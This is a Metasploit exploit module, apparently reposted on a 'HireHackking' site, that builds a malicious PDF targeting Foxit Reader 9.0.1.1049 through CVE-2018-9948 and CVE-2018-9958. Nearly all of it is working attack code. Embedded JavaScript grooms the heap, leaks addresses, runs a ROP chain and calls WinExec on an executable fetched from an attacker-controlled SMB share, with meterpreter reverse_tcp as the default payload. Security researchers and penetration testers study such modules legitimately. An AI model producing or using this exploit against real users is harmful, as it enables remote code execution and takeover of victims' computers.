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Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::FILEFORMAT

  def initialize(info={})
    super(update_info(info,
      'Name' => 'Foxit PDF Reader Pointer Overwrite UAF',
      'Description' => %q{
        Foxit PDF Reader v9.0.1.1049 has a Use-After-Free vulnerability
        in the Text Annotations component and the TypedArray's use
        uninitialized pointers.

        The vulnerabilities can be combined to leak a vtable memory address,
        which can be adjusted to point to the base address of the executable.
        A ROP chain can be constructed that will execute when Foxit Reader
        performs the UAF.
      },
      'License' => MSF_LICENSE,
      'Author' =>
        [
          'mr_me',            # Use-after-free and PoC
          'bit from meepwn',  # Uninitialized pointer
          'saelo',            # JavaScript Garbage Collector
          'Jacob Robles'      # Metasploit Module
        ],
      'References' =>
        [
          ['CVE', '2018-9948'],
          ['CVE', '2018-9958'],
          ['ZDI', '18-332'],
          ['ZDI', '18-342'],
          ['URL', 'https://srcincite.io/blog/2018/06/22/foxes-among-us-foxit-reader-vulnerability-discovery-and-exploitation.html'],
          ['URL', 'https://srcincite.io/pocs/cve-2018-99{48,58}.pdf.txt']
        ],
      'DefaultOptions' =>
        {
          'DisablePayloadHandler' => true,
          'FILENAME' => 'test.pdf',
          'PAYLOAD' => 'windows/meterpreter/reverse_tcp'
        },
      'Platform' => 'win',
      'Targets' =>
        [
          ['Windows 10 Pro x64 Build 17134', {}]
        ],
      'DisclosureDate' => 'Apr 20 2018',
      'DefaultTarget' => 0))

    register_options([
      OptString.new('EXENAME', [false, 'EXE file to download', '']),
      OptString.new('SHARE', [false, 'SMB share hosting exe', ''])
    ])
  end

  def pdfdoc
    share = datastore['SHARE'].empty? ? "#{Rex::Text.rand_text_alpha_lower(1)}" : datastore['SHARE']
    fname = datastore['EXENAME'].empty? ? "#{Rex::Text.rand_text_alpha_lower(1)}.exe" : datastore['EXENAME']
    fname << '.exe' unless fname.ends_with?('.exe')

    share_path = "\\\\#{datastore['LHOST']}\\#{share}\\#{fname}"
    num = 4 - (share_path.length % 4)
    share_path << "\x00"*num
    return nil if share_path.length > 44

    print_status("share_path: #{share_path}")

    rop = ''
    max_index = 0
    share_path.unpack('V*').each_with_index {|blk, index|
      rop << "\nrop[0x%02x] = 0x%08x" % [index+12, blk]
      max_index = index
    }

    (max_index+1).upto(10) {|i| rop << "\nrop[0x%02x] = 0x00000000" % (i+12)}

    <<~PDFDOC
%PDF
1 0 obj
<</Pages 1 0 R /OpenAction 2 0 R>>
2 0 obj
<</S /JavaScript /JS (

var heap_ptr   = 0;
var foxit_base = 0;
var pwn_array  = [];

function prepare_heap(size){
    var arr = new Array(size);
    for(var i = 0; i < size; i++){
        arr[i] = this.addAnnot({type: "Text"});;
        if (typeof arr[i] == "object"){
            arr[i].destroy();
        }
    }
}

function gc() {
    const maxMallocBytes = 128 * 0x100000;
    for (var i = 0; i < 3; i++) {
        var x = new ArrayBuffer(maxMallocBytes);
    }
}

function alloc_at_leak(){
    for (var i = 0; i < 0x64; i++){
        pwn_array[i] = new Int32Array(new ArrayBuffer(0x40));
    }
}

function control_memory(){
    for (var i = 0; i < 0x64; i++){
        for (var j = 0; j < pwn_array[i].length; j++){
            pwn_array[i][j] = foxit_base + 0x01a7ee23; // push ecx; pop esp; pop ebp; ret 4
        }
    }
}

function leak_vtable(){
    var a = this.addAnnot({type: "Text"});

    a.destroy();
    gc();

    prepare_heap(0x400);
    var test = new ArrayBuffer(0x60);
    var stolen = new Int32Array(test);

    var leaked = stolen[0] & 0xffff0000;
    foxit_base = leaked - 0x01f50000;
}

function leak_heap_chunk(){
    var a = this.addAnnot({type: "Text"});
    a.destroy();
    prepare_heap(0x400);

    var test = new ArrayBuffer(0x60);
    var stolen = new Int32Array(test);

    alloc_at_leak();
    heap_ptr = stolen[1];
}

function reclaim(){
    var arr = new Array(0x10);
    for (var i = 0; i < arr.length; i++) {
        arr[i] = new ArrayBuffer(0x60);
        var rop = new Int32Array(arr[i]);

        rop[0x00] = heap_ptr;                // pointer to our stack pivot from the TypedArray leak
        rop[0x01] = foxit_base + 0x01a11d09; // xor ebx,ebx; or [eax],eax; ret
        rop[0x02] = 0x72727272;              // junk
        rop[0x03] = foxit_base + 0x00001450  // pop ebp; ret
        rop[0x04] = 0xffffffff;              // ret of WinExec
        rop[0x05] = foxit_base + 0x0069a802; // pop eax; ret
        rop[0x06] = foxit_base + 0x01f2257c; // IAT WinExec
        rop[0x07] = foxit_base + 0x0000c6c0; // mov eax,[eax]; ret
        rop[0x08] = foxit_base + 0x00049d4e; // xchg esi,eax; ret
        rop[0x09] = foxit_base + 0x00025cd6; // pop edi; ret
        rop[0x0a] = foxit_base + 0x0041c6ca; // ret
        rop[0x0b] = foxit_base + 0x000254fc; // pushad; ret
        #{rop}
        rop[0x17] = 0x00000000;              // adios, amigo
    }
}

function trigger_uaf(){
    var that = this;
    var a = this.addAnnot({type:"Text", page: 0, name:"uaf"});
    var arr = [1];
    Object.defineProperties(arr,{
        "0":{
            get: function () {

                that.getAnnot(0, "uaf").destroy();

                reclaim();
                return 1;
            }
        }
    });

    a.point = arr;
}

function main(){
    leak_heap_chunk();
    leak_vtable();
    control_memory();
    trigger_uaf();
}

if (app.platform == "WIN"){
    if (app.isFoxit == "Foxit Reader"){
        if (app.appFoxitVersion == "9.0.1.1049"){
            main();
        }
    }
}

)>> trailer <</Root 1 0 R>>
    PDFDOC
  end

  def exploit
    mypdf = pdfdoc
    if mypdf.nil?
      fail_with(Failure::BadConfig, 'The generated share path was greater than 44 bytes.')
    end
    file_create(mypdf)
  end
end